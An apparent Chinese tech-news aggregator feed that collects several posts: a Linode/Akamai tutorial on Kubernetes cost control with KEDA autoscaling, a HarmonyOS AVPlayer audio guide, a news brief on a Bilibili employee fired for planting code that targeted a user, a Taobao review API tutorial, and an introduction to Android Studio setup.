  • Linode 64 GB实例最多可以容纳9个工作负载。在这样的总容量下,每个Pod的成本为每月42.6美元(即实例成本384美元除以9个工作负载)。

换句话说,选择较大的实例可以为我们每月每个工作负载节省多达6美元。

4.使用计算器对比不同节点

如果想测试更多实例该怎么办?进行这些计算需要很多工作。我们可以使用learnsk8s计算器加快该过程。

使用该计算器的第一步是输入内存和CPU请求。系统会自动计算保留的资源并提供利用率和成本建议。此外还有一些额外的实用功能:按照应用程序用量分配最接近的CPU和内存请求。如果应用程序偶尔会突发高CPU或内存使用率,也可以灵活应对。

但是当所有Pod都将所有资源使用到极限会发生什么?这可能导致超额承诺。我们可以通过门户中的小组件了解CPU和内存超额承诺的百分比。那么当超额承诺时具体又会发生什么?

  • 如果内存超额承诺,kubelet将驱逐Pod并将其移动到集群中的其他位置。
  • 如果CPU超额承诺,工作负载将按比例使用可用的CPU。

最后,我们还可以使用DaemonSets和Agent小组件,这是一个方便的机制,可以模拟在所有节点上运行的Pod。例如,LKE将Cilium和CSI插件部署为DaemonSets。这些Pod使用的资源对工作负载不可用,应从计算中减去。该小组件可以帮我们做到这一点!

二、按需开关更省钱

为了尽可能降低基础设施成本,我们可以在不使用某些资源时将其关闭。然而此时的挑战之处在于,必要时该如何将资源自动打开。接下来我们一起看看如何使用Linode Kubernetes Engine(LKE)部署一个Kubernetes集群,并使用Kubernetes Events-Driven Autoscaler(KEDA)将其收缩到“零”,然后恢复原状。

1.为何要收缩到零

假设我们在Kubernetes上运行了一个常见的资源密集型应用,但我们只需要在工作时间里运行。此时可能会希望在大家都下班后将其关闭,并在上班时间自动重新打开。

虽然可以使用CronJob来缩放实例,但这只是权宜之计,只能按照预先设定的时间表照计划运行。

周末怎么办?公共假期又如何处理?如果整个团队都生病无法到岗呢?

与其编制一个不断增长的规则列表,不如根据流量来扩展我们的工作负载。当流量增加时,可以扩展副本数量;当没有流量时,可以将整个应用关闭。当应用关闭后又收到新的传入请求后,Kubernetes会启动至少一个副本来处理这些流量。

接下来一起看看该如何拦截去往应用程序的所有流量,监控流量,并设置Autoscaler调整副本数量或关闭应用。

2.创建集群

首先需要创建一个Kubernetes集群。可使用下列命令创建一个集群并保存kubeconfig文件。

$ linode-cli lke cluster-create \
 --label cluster-manager \
 --region eu-west \
 --k8s_version 1.23
$ linode-cli lke kubeconfig-view "insert cluster id here" --text | tail +2 | base64 -d > kubeconfig

通过下列命令验证安装过程已成功完成:

$ kubectl get pods -A --kubeconfig=kubeconfig

用环境变量导出kubeconfig文件通常是一种比较方便的做法。为此可以运行:

$ export KUBECONFIG=${PWD}/kubeconfig
$ kubectl get pods

接着需要部署应用程序。

3.部署应用程序

apiVersion: apps/v1
kind: Deployment
metadata:
 name: podinfo
spec:
 selector:
   matchLabels:
     app: podinfo
 template:
   metadata:
     labels:
       app: podinfo
   spec:
     containers:
     - name: podinfo
       image: stefanprodan/podinfo
       ports:
       - containerPort: 9898
---
apiVersion: v1
kind: Service
metadata:
 name: podinfo
spec:
 ports:
   - port: 80
     targetPort: 9898
 selector:
   app: podinfo
使用下列命令提交YAML文件:
terminal|command=1|title=bash
$ kubectl apply -f 1-deployment.yaml

随后即可访问该应用,为此请打开浏览器并访问localhost:8080。

$ kubectl port-forward svc/podinfo 8080:80

接着应该就能看到这个应用了。

接下来需要安装KEDA,也就是本例中将会用到的Autoscaler。

4.KEDA:Kubernetes事件驱动的Autoscaler

Kubernetes提供的Horizontal Pod Autoscaler(HPA)可以作为控制器动态增减副本数量。然而HPA有一些不足之处:

  1. 无法拆箱即用,需要安装Metrics Server汇总和暴露指标。
  2. 无法缩放至零副本。
  3. 只能根据指标缩放副本,并且无法拦截HTTP流量。

好在并非只能使用官方提供的Autoscaler,我们还可以使用KEDA。KEDA是一种为下列三个组件打造的Autoscaler:

  1. Scaler
  2. Metrics Adapter
  3. Controller

Scaler类似于适配器,可以从数据库、消息代理、遥测系统等处收集指标。例如,HTTP Scaler这个适配器就可以拦截并收集HTTP流量。我们可以在这里看到一个 使用RabbitMQ的Scaler范例。

Metrics Adapter负责以Kubernetes指标管道可以使用的格式导出Scaler所收集的指标。

最后,Controller可以将所有这些组件紧密结合在一起:

  • 使用适配器收集指标,并将其暴露给指标API。
  • 注册并管理KEDA指定的自定义资源定义(CRD),例如ScaledObject、TriggerAuthentication等。
  • 代替我们创建并管理Horizontal Pod Autoscaler。

理论上的介绍就是这些了,一起看看它们实际上是如何起效的。

我们可以使用Helm快速安装Controller,详细的说明和介绍请参阅Helm官网。

$ helm repo add kedacore https://kedacore.github.io/charts
$ helm install keda kedacore/keda

KEDA默认并不包含HTTP Scaler,因此需要单独安装:

$ helm install http-add-on kedacore/keda-add-ons-http

随后就可以扩展我们的应用了。

5.定义Autoscaling策略

KEDA的HTTP加载项会暴露出一个CRD,借此我们可以描述应用程序的扩展方式。一起看一个例子:

kind: HTTPScaledObject
apiVersion: http.keda.sh/v1alpha1
metadata:
   name: podinfo
spec:
   host: example.com
   targetPendingRequests: 100
   scaleTargetRef:
       deployment: podinfo
       service: podinfo
       port: 80
   replicas:
       min: 0
       max: 10

该文件会指示拦截器将有关*example.com*的请求转发给podinfo服务。

其中还包含了需要扩展的部署的名称,本例中为podinfo

使用下列命令将YAML提交至集群:

$ kubectl apply -f scaled-object.yaml

提交了上述定义后,Pod被删除了!为何会这样?

在创建了HTTPScaledObject后,KEDA会立即将该部署收缩到零,因为目前没有流量。

为了进行扩展,我们必须向应用发出HTTP请求。试试看连接到该服务并发出一个请求。

$ kubectl port-forward svc/podinfo 8080:80

这个命令被挂起了!

这种现象是合理的,因为目前没有可以为请求提供服务的Pod。但Kubernetes为何没有将该部署扩展为1?

6.测试KEDA拦截器

在使用Helm安装加载项时,会创建一个名为keda-add-ons-http-interceptor-proxy的Kubernetes服务。为了让自动扩展能够正常起效,HTTP流量必须首先通过该服务进行路由。我们可以用kubectl port-forward进行测试:

$ kubectl port-forward svc/keda-add-ons-http-interceptor-proxy 8080:8080

这一次我们无法在浏览器中访问该URL。

一个KEDA HTTP拦截器可以处理多个部署,那么它如何知道要将流量路由到哪里?

kind: HTTPScaledObject
apiVersion: http.keda.sh/v1alpha1
metadata:
   name: podinfo
spec:
   host: example.com
   targetPendingRequests: 100
   scaleTargetRef:
       deployment: podinfo
       service: podinfo
       port: 80
   replicas:
       min: 0
       max: 10

针对这种情况,HTTPScaledObject使用了一个host 段。在本例中,我们需要假装请求来自example.com。为此需要设置Host头:

$ curl localhost:8080 -H 'Host: example.com'

我们将收到一个回应,尽管略微有些延迟。

检查Pod会发现,部署已经被扩展至一个副本:

$ kubectl get pods

那么刚才到底发生了什么?

在将流量路由至KEDA的服务时,拦截器会追踪尚未收到回复的未决HTTP请求数量。KEDA Scaler会定期检查拦截器的队列大小,并存储相关指标信息。

KEDA Controller会监控指标,并根据需要增大或减小副本数量。本例中有一个未决请求,此时KEDA Controller将部署扩展为一个副本就已足够。

我们可以通过下列方式获取每个拦截器的未决HTTP请求队列状态:

$ kubectl proxy &
$ curl -L localhost:8001/api/v1/namespaces/default/services/keda-add-ons-http-interceptor-admin:9090/proxy/queue
{"example.com":0,"localhost:8080":0}

由于这种设计的存在,我们必须慎重决定该用何种方式将流量路由给应用。KEDA只能在流量可被拦截的情况下才会对部署进行扩展。

如果有一个现有的入口Controller,并且希望使用该Controller将流量转发给应用,那么还需要修改入口清单,将流量转发给HTTP加载项服务。一起看一个例子。

7.将KEDA HTTP加载项与入口配合使用

我们可以使用Helm安装Nginx-ingress controller:

$ helm upgrade --install ingress-nginx ingress-nginx \
 --repo https://kubernetes.github.io/ingress-nginx \
 --namespace ingress-nginx --create-namespace

随后写一个入口清单,将流量路由给podinfo:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
 name: podinfo
spec:
 ingressClassName: nginx
 rules:
 - host: example.com
   http:
     paths:
     - path: /
       pathType: Prefix
       backend:
         service:
           name: keda-add-ons-http-interceptor-proxy # <- this
           port:
             number: 8080

通过下列命令可以获取负载均衡器的IP地址:

LB_IP=$(kubectl get services -l "app.kubernetes.io/component=controller" -o jsonpath="{.items[0].status.loadBalancer.ingress
[0].ip}" -n ingress-nginx)

最后使用下列命令向应用发出一个请求:

curl $LB_IP -H "Host: example.com"

起作用了!如果等待足够长的时间,我们还将注意到,该部署最终被收缩到零。

三、通过Autoscaler实现Kubernetes的伸缩

在设计Kubernetes集群时,我们可能经常需要回答以下问题:

  • 集群伸缩需要多长时间?
  • 在新Pod创建之前需要等待多长时间?

有四个主要因素会影响集群的伸缩:

  • Horizontal Pod Autoscaler的反应时间;
  • Cluster Autoscaler的反应时间;
  • 节点预配时间;以及
  • Pod创建时间。

下文将依次讨论这些因素。

默认情况下,kubelet每10秒从Pod中提取一次CPU使用情况数据,而Metrics Server每1分钟从kubelet获取一次这些数据。Horizontal Pod Autoscaler每30秒检查一次CPU和内存度量。

如果度量超过阈值,Autoscaler会增加Pod的副本数,并在采取进一步行动之前暂停3分钟。在最糟糕的情况下,可能要等待长达3分钟才能添加或删除Pod,但平均而言,用户应该期望等待1分钟后Horizontal Pod Autoscaler即可触发伸缩。

Horizontal Pod Autoscaler的反应时间

Cluster Autoscaler会检查是否有待处理的Pod,并增加集群的大小。检测到需要扩展集群可能需要:

  • 在具有少于100个节点和3000个Pod的集群上最多需要30秒,平均延迟约为5秒;或
  • 在具有100个以上节点的集群上最多需要60秒的延迟,平均延迟约为15秒。

Cluster Autoscaler的反应时间

Linode上的节点预配,也就是从Cluster Autoscaler触发API到新创建节点上可以调度Pod,这一过程需要大约3-4分钟时间。

Linode的预配时间

简而言之,对于小规模集群,我们会面临:

  • HPA延迟:1m +
  • CA延迟:0m30s +
  • 云提供商:4m +
  • 容器运行时:0m30s +

——————————————

总计6m

端到端Autoscaler反应时间

对于具有100个以上节点的集群,总延迟可能为6分30秒…… 这是一个相当长的时间,那么该如何解决这个问题?可以主动调整工作负载,或者如果非常了解流量模式,也可以提前伸缩。

1.使用KEDA进行预伸缩

如果流量的变化模式可预测,那么在高峰之前扩展工作负载(和节点)就是可行的。

Kubernetes没有提供根据日期或时间扩展工作负载的机制,但我们可以使用上文提到的KEDA实现目标。

使用Helm安装KEDA:

$ helm repo add kedacore https://kedacore.github.io/charts
$ helm install keda kedacore/keda

安装好Prometheus和KEDA后,创建一个部署。

apiVersion: apps/v1
kind: Deployment
metadata:
  name: podinfo
spec:
  replicas: 1
  selector:
    matchLabels:
      app: podinfo
  template:
    metadata:
      labels:
        app: podinfo
    spec:
      containers:
        - name: podinfo
          image: stefanprodan/podinfo

用下列命令将资源提交到集群:

$ kubectl apply -f deployment.yaml

KEDA在现有的Horizontal Pod Autoscaler之上工作,并使用名为ScaleObject的自定义资源定义(CRD)进行包装。下列ScaledObject使用Cron Scaler定义了更改副本数的时间窗口:

apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: cron-scaledobject
  namespace: default
spec:
  maxReplicaCount: 10
  minReplicaCount: 1
  scaleTargetRef:
    name: podinfo
  triggers:
    - type: cron
      metadata:
        timezone: Europe/London
        start: 23 * * * *
        end: 28 * * * *
        desiredReplicas: "5"

用下列命令提交对象:

$ kubectl apply -f scaled-object.yaml

接下来会发生什么?什么也不会发生。自动伸缩只会在23 * * * *到28 * * * *之间触发。在Cron Guru的帮助下,我们可以将这两个Cron表达式翻译成:

  • 从第23分钟开始(例如2:23、3:23等)。
  • 在第28分钟停止(例如2:28、3:28等)。

如果等到开始时间,我们将注意到副本数增加到5。

使用KEDA通过Cron表达式进行伸缩

在第28分钟后,副本数是否恢复到1?是的,自动伸缩器会恢复为minReplicaCount中指定的副本数。

如果在其中一个时间间隔内增加副本数会发生什么?如果在23和28分钟之间,我们将部署的副本数扩展到10,KEDA将覆盖我们的更改并设置计数。如果在第28分钟后重复相同实验,副本数将设置为10。

在了解了理论后,让我们看一些实际用例。

2.在工作时间内伸缩

假设我们在开发环境中部署了一个应该在工作时间段内处于活跃状态,并且在夜间应该关闭的工作负载。

可以使用以下ScaledObject:

apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: cron-scaledobject
  namespace: default
spec:
  maxReplicaCount: 10
  minReplicaCount: 0
  scaleTargetRef:
    name: podinfo
  triggers:
    - type: cron
      metadata:
        timezone: Europe/London
        start: 0 9 * * *
        end: 0 17 * * *
        desiredReplicas: "10"

默认副本数为零,但在工作时间(上午9点到下午5点)期间,副本会扩展到10个。

仅在工作时间内扩展工作负载

我们还可以扩展Scaled Object以排除周末:

apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: cron-scaledobject
  namespace: default
spec:
  maxReplicaCount: 10
  minReplicaCount: 0
  scaleTargetRef:
    name: podinfo
  triggers:
    - type: cron
      metadata:
        timezone: Europe/London
        start: 0 9 * * 1-5
        end: 0 17 * * 1-5
        desiredReplicas: "10"

这样,工作负载将仅在周一至周五的9点到17点活跃。由于可以组合多个触发器,因此还可以包括一些例外情况。

3.在周末伸缩

我们可能计划在星期三让工作负载保持更长时间,为此可使用以下定义:

apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata:
  name: cron-scaledobject
  namespace: default
spec:
  maxReplicaCount: 10
  minReplicaCount: 0
  scaleTargetRef:
    name: podinfo
  triggers:
    - type: cron
      metadata:
        timezone: Europe/London
        start: 0 9 * * 1-5
        end: 0 17 * * 1-5
        desiredReplicas: "10"
    - type: cron
      metadata:
        timezone: Europe/London
        start: 0 17 * * 3
        end: 0 21 * * 3
        desiredReplicas: "10"

在此定义中,工作负载会在周一至周五的9点到17点之间处于活动状态,但星期三会从9点持续到21点。

总结

按需缩放是一种有效降低成本的方法。Kubernetes作为一种容器编排平台,提供了自动化管理和部署容器化应用程序的功能,使得按需缩放变得更加容易实现。

根据本文提供的思路,我们可以根据应用程序的需求变化情况,动态调整资源,并在需要时自动扩展或缩减规模,从而降低成本并提高资源利用率。

本文所涉及的内容,不仅适用于Linode平台上提供的托管式Kubernetes集群,也同样适用于大家在本地环境或其他云平台上部署的集群。希望这些内容对大家有所帮助,也欢迎关注Akamai机构号,了解更多通过云平台降本增效的技巧。


欢迎点击下方链接↓↓↓

关注我们

by AKAMAI at January 22, 2025 04:03 AM

juejin android

Harmony Next 使用 AVPlayer 播放音频

在鸿蒙Next系统中,AVPlayer为开发者提供了强大的音频播放功能。以下将详细介绍如何使用AVPlayer来实现音频播放。

官方文档:使用AVPlayer播放音频(ArkTS)

播放状态变化示意图

avplayer_state.png

基本使用步骤

  1. 创建AVPlayer实例:通过media.createAVPlayer()方法创建AVPlayer实例,用于控制音频的播放。示例代码如下:
async createAVPlayerInstance() {
    const avPlayer = await media.createAVPlayer(); // 异步
    return avPlayer;
}
  1. 设置播放源:指定本地 rawFile 路径,如 test.mp3
  async setSourcePath(path: string) {
  setTimeout(async () => {
    if (!this.checkNull()) {
      try {
        let context = getContext(this) as common.UIAbilityContext;
        let fileDescriptor = await context.resourceManager.getRawFd(path);
        let fileFd: number = JSON.parse(JSON.stringify(fileDescriptor))['fd']
        let fileOffset: number = JSON.parse(JSON.stringify(fileDescriptor))['offset']
        this.avFileDescriptor = { fd: fileFd, offset: fileOffset, length: -1 };
        this.avPlayer!.fdSrc = this.avFileDescriptor;
      } catch (err) {
        console.info('Set Url failed : ' + JSON.stringify(err))
      }
    }
  }, 500)
}
  1. 监听状态变化:监听stateChange事件来了解播放器的状态,从而做出相应操作。示例代码如下:

/**
 * avplayer回调
 */
private setAVPlayerCallback() {
  if (this.checkNull()) {
    return
  }
  // seek操作结果回调
  this.avPlayer!.on('seekDone', (seekDoneTime) => {
    console.info(`AVPlayer seek succeeded, seek time is ${seekDoneTime}`);
  })

  // 音量变化回调
  this.avPlayer!.on('volumeChange', (volume) => {
    console.info(`volumeChange called, and new volume is :${volume}`);
  })

  // 音频总时长
  this.avPlayer!.on('durationUpdate', (duration) => {
    console.info(`durationUpdate :${duration}`);
  })

  // 当前播放进度
  this.avPlayer!.on('timeUpdate', (time) => {
    let now = Math.floor(time/1000)
    if (this.process != now) {
      console.info(`timeUpdate :${now}`);
    }
    this.process = now
  })

  // error回调监听函数,当avPlayer在操作过程中出现错误时调用reset接口触发重置流程
  this.avPlayer!.on('error', (err) => {
    console.error(`Invoke avPlayer failed, code is ${err.code}, message is ${err.message}`);
    this.avPlayer!.reset(); // 调用reset重置资源,触发idle状态
  })

  // 状态机变化回调函数
  this.avPlayer!.on('stateChange', async (state, reason) => {
    switch (state) {
      case 'idle': // 成功调用reset接口后触发该状态机上报
        console.info('AVPlayer state idle called.');
        this.avPlayer!.release(); // 调用release接口销毁实例对象
        break;
      case 'initialized': // avplayer 设置播放源后触发该状态上报
        console.info('AVPlayer state initialized called.');
        this.avPlayer!.prepare().then(() => {
          console.info('AVPlayer prepare succeeded.');
        }, () => {
          console.error(`Invoke prepare failed, code is`);
        });
        break;
      case 'prepared': // prepare调用成功后上报该状态机
        console.info('AVPlayer state prepared called.');
        this.avPlayer!.loop = this.loop
        this.avPlayer!.setVolume(this.volume)
        if (this.autoPlay) {
          this.avPlayer!.play(); // 调用播放接口开始播放
        }
        break;
      case 'playing': // play成功调用后触发该状态机上报
        console.info('AVPlayer state playing called.');
        break;
      case 'paused': // pause成功调用后触发该状态机上报
        console.info('AVPlayer state paused called.');
        break;
      case 'completed': // 播放结束后触发该状态机上报
        console.info('AVPlayer state completed called.');
        if (this.loop == true) {
          this.avPlayer!.seek(0)
          this.avPlayer!.play()
        }
        break;
      case 'stopped': // stop接口成功调用后触发该状态机上报
        console.info('AVPlayer state stopped called.');
        break;
      case 'released':
        console.info('AVPlayer state released called.');
        break;
      default:
        console.info('AVPlayer state unknown called.');
        break;
    }
  })
}
  1. 控制音频播放:可以调用play()pause()stop()seek()等方法对音频进行播放、暂停、停止、跳转等操作。示例代码如下:

play() {
  if (this.checkNull()) {
    this.autoPlay = true
    return
  }

  this.avPlayer!.play().then(() => {
    console.info('Play success')
  }).catch((err: BusinessError) => {
    console.info('Play failed : ' + JSON.stringify(err))
  })
}

pause() {
  if (this.checkNull()) {
    this.autoPlay = false
    return
  }
  this.avPlayer!.pause().then(() => {
    console.info('Pause success')
  }).catch((err: BusinessError) => {
    console.info('Pause failed : ' + JSON.stringify(err))
  })
}

release() {
  if (this.checkNull()) {
    this.autoPlay = false
    return
  }
  this.avPlayer!.release().then(() => {
    console.info('Release success')
    setTimeout(() => {
    }, 500)
  }).catch((err: BusinessError) => {
    console.info('Release failed : ' + JSON.stringify(err))
  })
}

setVolume(volume: number) {
  console.info(`setVolume ${volume}`)
  this.volume = volume
  if (this.checkNull()) {
    return
  }
  this.avPlayer!.setVolume(volume)
}

setLoop() {
  console.info('setLoop')
  this.loop = true
  if (this.checkNull()) {
    return
  }
  this.avPlayer!.loop = true
}

设置音量和循环播放时需要在状态 prepared 后调用,否则会报错

Invoke avPlayer failed, code is 5400102, message is Operate Not Permit: current state is not prepared/playing/paused/completed, unsupport loop operation

5. 释放资源:当音频播放完成或者不再需要播放时,调用release()方法释放资源,避免内存泄漏。示例代码如下:

async function releasePlayer(avPlayer) {
    await avPlayer.release();
}

注意事项

  • 权限申请:如果要访问在线媒体资源,需要在配置文件中申请ohos.permission.INTERNET权限。
  • 资源格式:确保音频文件格式与鸿蒙系统支持的格式兼容,以避免无法播放的情况。
  • 异常处理:在播放过程中可能会遇到网络中断、文件损坏等异常情况,需要添加异常处理逻辑,如监听error事件来进行相应处理。

希望通过以上介绍,能帮助开发者在鸿蒙Next应用开发中熟练使用AVPlayer实现音频播放功能,为用户带来更好的音频体验。

by brian512_ at January 22, 2025 03:48 AM

oschina news industry

B站员工向代码投毒“封杀”用户账号,公司回应:涉事员工已被开除

据报道,B站某员工利用自己的职权擅自在整个哔哩哔哩网页版中加载恶意代码,被攻击的特定用户在点击任何视频后页面都会被替换为空白页面,并不断弹出红色文字称“你的账号已被封禁”。

据正在新闻报道,B站客服表示网站漏洞已经被修补,涉事员工也已公示处罚。此外,该名员工疑有「开盒」「人肉」用户的情况。一名受影响的B站 UP 主通过正在新闻表示,该员工名为倪某,疑负责B站视频播放器,是B站持有专利「视频播放方法、装置、计算机设备及存储介质」的发明人之一。  

此前,倪某在社交平台看到某 UP 主的观点不满,双方发生口角。随后倪某表示知道该 UP 主家庭地址、宽带服务商等信息;并利用系统漏洞,让 UP 主点击 B 站视频时显示「你的账号已被封禁!!!」。

经调查,该员工因与用户在网络上的口角纠纷,利用职务之便对用户进行恶意报复,性质极为恶劣。

目前,B站已确认问题并成立内部小组进行处理,涉事员工已被开除。同时,B站已移除相关恶意代码,并建议用户清除浏览器缓存和 Cookies,以防止再次受到影响。

by 来源: OSCHINA at January 22, 2025 03:40 AM

juejin career

淘宝商品评价 API 的获取与应用

1.jpg

在电商领域,商品评价是消费者购买决策的重要依据,也是商家了解产品优缺点、优化服务的关键信息来源。对于开发者和电商从业者来说,能够获取淘宝商品评价数据,进行深入分析,具有极大的价值。淘宝商品评价 API 就提供了这样一个途径,通过该 API 可以获取到淘宝平台上各类商品的评价信息,从而为市场分析、竞品研究、店铺运营优化等提供有力支持。本文将详细介绍淘宝商品评价 API 的获取方法及实际应用,并附上代码示例,帮助大家更好地理解和使用。

淘宝商品评价 API 简介

淘宝商品评价 API 是淘宝开放平台提供的接口之一,允许开发者通过编程方式获取淘宝商品的评价数据。这些数据包括评价内容、评价时间、评价者信息、评分等。通过对这些评价数据的分析,可以了解消费者对商品的满意度、产品的优点和不足、用户的使用体验等,为商家和开发者提供有价值的参考。

获取淘宝商品评价 API 的准备工作

注册淘宝开放平台账号

要使用淘宝商品评价 API,首先需要在淘宝开放平台注册一个账号。访问淘宝开放平台官网,按照注册流程填写相关信息,包括个人或企业的基本资料、联系方式等。注册成功后,即可登录平台进行后续操作。

申请应用并获取 AppKey 和 AppSecret

登录淘宝开放平台后,创建一个新的应用。在创建应用时,需要填写应用的详细信息,如应用名称、应用描述、应用图标、应用类型(Web 应用、移动应用等)、回调地址等。填写完成并提交审核后,平台会为应用分配一个唯一的 AppKey 和 AppSecret。这两个密钥是调用 API 时进行身份验证的重要凭证,务必妥善保管,防止泄露。

申请商品评价 API 权限

在淘宝开放平台的应用管理页面,找到已创建的应用,然后在接口列表中找到商品评价相关的 API,点击申请权限。申请时需要说明使用该 API 的目的和用途,例如用于市场调研、数据分析、店铺运营优化等。平台会根据申请内容进行审核,审核通过后,应用就具备了调用商品评价 API 的权限。

淘宝商品评价 API 的使用方法

接口请求方式

淘宝商品评价 API 支持 HTTP GET 和 POST 两种请求方式。一般来说,GET 方式适用于简单的数据查询,请求参数会直接显示在 URL 中;POST 方式适用于需要传递大量参数或数据的情况,参数通过请求体传递,相对更加安全。在实际应用中,根据具体需求选择合适的请求方式。

请求参数详解

  • app_key:申请应用时获得的 AppKey,用于标识应用身份。

  • timestamp:当前时间的时间戳,精确到秒,用于防止请求被重放攻击。每次请求时都需要生成一个新的时间戳。

  • format:响应数据的格式,支持 JSON、XML 等格式,一般常用 JSON 格式,方便在程序中解析和处理。

  • v:API 的版本号,淘宝开放平台会不断更新和优化 API,不同版本可能在功能和参数上有所差异,需要根据实际情况选择合适的版本。

  • sign:签名,用于验证请求的合法性。签名的生成规则较为复杂,一般是将所有请求参数(除 sign 参数本身)按照一定的规则进行排序,然后拼接成一个字符串,再使用 AppSecret 进行加密生成。具体的签名算法可以参考淘宝开放平台的官方文档。

  • other_params:其他与商品评价相关的参数,如商品 ID(num_iid),用于指定要获取评价的商品;page_no 用于指定获取评价的页码,page_size 用于指定每页返回的评价数量等。

响应参数解读

接口调用成功后,会返回一个包含商品评价信息的响应数据。以 JSON 格式为例,常见的响应参数包括:

  • rate_list:评价列表,是一个数组,每个元素代表一条评价。

    • rate_content:评价内容,即用户对商品的具体评价描述。
    • rate_date:评价时间,格式一般为 “YYYY - MM - DD HH:MM:SS”。
    • user_nick:评价者的昵称。
    • rate_star:评价的星级,一般为 1 - 5 星,代表用户对商品的满意度。
  • total_results:评价总数,即该商品的所有评价数量。

  • page_no:当前返回的评价页码。

  • page_size:每页返回的评价数量。

代码示例(Python 实现)

以下是一个使用 Python 调用淘宝商品评价 API 的简单示例代码,假设已经获取到了 AppKey、AppSecret,并且了解了 API 的请求地址和参数要求。

import requests
import hashlib
import time
import json
# 配置参数
APP_KEY = 'your_app_key'
APP_SECRET = 'your_app_secret'
API_URL = 'https://eco.taobao.com/router/rest'
# 商品ID
NUM_IID = '123456789'
# 每页返回的评价数量
PAGE_SIZE = 20
# 当前页码
PAGE_NO = 1
def generate_sign(params, app_secret):
    """生成签名"""
    sorted_params = sorted(params.items(), key=lambda item: item[0])
    param_str = ""
    for key, value in sorted_params:
        param_str += key + str(value)
    param_str += app_secret
    sign = hashlib.md5(param_str.encode('utf-8')).hexdigest().upper()
    return sign
def get_product_reviews():
    """获取商品评价"""
    timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
    params = {
        'app_key': APP_KEY,
        'format': 'json',
        'v': '2.0',
       'method': 'taobao.tbk.dg.item.rate.get',
        'timestamp': timestamp,
        'num_iid': NUM_IID,
        'page_no': PAGE_NO,
        'page_size': PAGE_SIZE
    }
    sign = generate_sign(params, APP_SECRET)
    params['sign'] = sign
    try:
        response = requests.get(API_URL, params=params)
        if response.status_code == 200:
            result = json.loads(response.text)
            if 'tbk_dg_item_rate_get_response' in result:
                data = result['tbk_dg_item_rate_get_response']
                if'success' in data and data['success']:
                    rate_list = data['result_list']['rate_list']
                    for rate in rate_list:
                        print(f"评价者昵称: {rate['user_nick']}")
                        print(f"评价内容: {rate['rate_content']}")
                        print(f"评价时间: {rate['rate_date']}")
                        print(f"评价星级: {rate['rate_star']}")
                        print("-" * 50)
                else:
                    print(f"请求失败,错误信息: {data['msg']}")
            else:
                print(f"响应数据格式错误: {response.text}")
        else:
            print(f"请求失败,状态码: {response.status_code}")
    except Exception as e:
        print(f"发生错误: {e}")
if __name__ == "__main__":
    get_product_reviews()

以上代码只是一个基本示例,实际应用中可能需要根据业务需求进行更多的功能扩展和错误处理,例如处理分页数据、将评价数据存储到数据库中、进行数据分析和可视化展示等。

注意事项

请求频率限制

淘宝开放平台对 API 的请求频率有严格限制,以防止恶意请求和数据滥用。在使用商品评价 API 时,需要注意控制请求频率,避免因超出限制而导致 API 访问失败。可以通过设置合理的请求间隔时间,或者使用缓存机制来减少不必要的请求。

数据准确性与时效性

由于淘宝平台上的商品评价数据量庞大,且不断更新,API 返回的数据可能存在一定的延迟或不完整性。在使用评价数据进行分析和决策时,需要考虑数据的准确性和时效性,结合其他信息进行综合判断。

隐私保护与合规性

在获取和使用商品评价数据时,要遵守相关的法律法规和隐私政策,保护用户的隐私信息。不得将获取到的评价数据用于非法目的,如进行用户骚扰、数据贩卖等。同时,要注意淘宝开放平台的使用规则,避免因违规操作而导致应用被封禁。

总结与展望

淘宝商品评价 API 为电商从业者和开发者提供了获取商品评价数据的便捷途径,通过对这些数据的分析和应用,可以为市场调研、竞品分析、产品优化、客户服务提升等提供有力支持。随着电商行业的不断发展和技术的不断进步,淘宝开放平台的 API 功能也将不断完善和扩展。我们需要持续关注平台的更新和变化,不断学习和探索新的应用场景和方法,充分发挥 API 的价值,为电商业务的发展创造更多的可能性。同时,在使用 API 的过程中,要始终遵守相关的规则和法律法规,确保数据的合法、安全和有效使用。如遇任何疑问或有进一步的需求,请随时与我私信联系或者评论。

by API小知识 at January 22, 2025 03:24 AM

juejin android

浅试Android开发

Android是由Google主导开发的一个基于Linux内核的开源操作系统,专为移动设备设计,如智能手机、平板电脑和智能穿戴设备。它提供了一个用户友好的界面,支持多种应用程序,用户可以通过Google Play商店下载和安装应用。Android的架构包括应用层、应用框架、库和Linux内核,允许开发者使用Java、Kotlin等编程语言创建应用。由于其开源特性,Android吸引了大量开发者和设备制造商,形成了一个庞大的生态系统,支持多种硬件平台和设备类型,使其成为全球最流行的移动操作系统之一。

本篇是打打基础,因为想尝试编写Android Hook,所以先补充基本的Android开发知识。

环境为windows10.

基础环境配置

安装Android Studio

先安装Jetbrains Toolbox,然后使用Toolbox安装Android Studio,非常省心,安装完成后点点点全部同意即可,新版本没有很复杂的配置选项。在Toolbox登录Jetbrains账户,会直接同步登录到对应的IDE,也不需要额外再登遍账户了。

安装JDK

windows的包管理工具已经相对成熟了,很好用。所以摒弃之前手动配置java环境的方法,直接使用scoop解决这一切,包括java的安装和java版本管理。

image.png

直接看下面几个指令即可,用过其他包管理工具的话直接就明白了。

# 添加Buceket
scoop add bucket java
# 搜索openjdk
scoop search openjdk
# 安装jdk8
scoop install openjdk8-redhat
# 安装jdk17
scoop install openjdk17
# 切换环境为jdk8
scoop reset openjdk8-redhat

使用Android Studio创建Demo

创建项目

New Project,选择空白项目,然后点点点Next+Finish即可。中间有个配置页,默认使用Kotlin语言,编写简单demo的话可以什么都不改,我Project Name更改为了Demo。

image.png

Finish之后弹出工作区页面完成空白项目创建。

创建虚拟机并运行demo

在介绍项目结构之前,先创建一个开发测试用的Android虚拟机,创建位置为菜单栏-Tools-Device Manager,点击后右侧开启设备管理页面,选择Medium Phone API 35创建虚拟机,稍等片刻即可。

image.png

Android Studio的虚拟机自定义程度比较高,也可以选择使用WIFI无线连接设备,这里还不急,一会儿打包应用到手机上的时候再搞,开发阶段可以先用用虚拟机。

事不宜迟,点击菜单栏-Run-Run 'app',可以直接将当前项目发布到手机上查看效果。

image.png

本地构建打包为apk再发布到自己手机上的流程与这个差别较大,后面再说。

empty activity项目结构介绍

  • .gradle文件夹包含Gradle构建工具的相关文件,Gradle是Android项目的构建系统,负责依赖管理和构建过程。
  • main:这是主要的代码和资源目录。它包含:
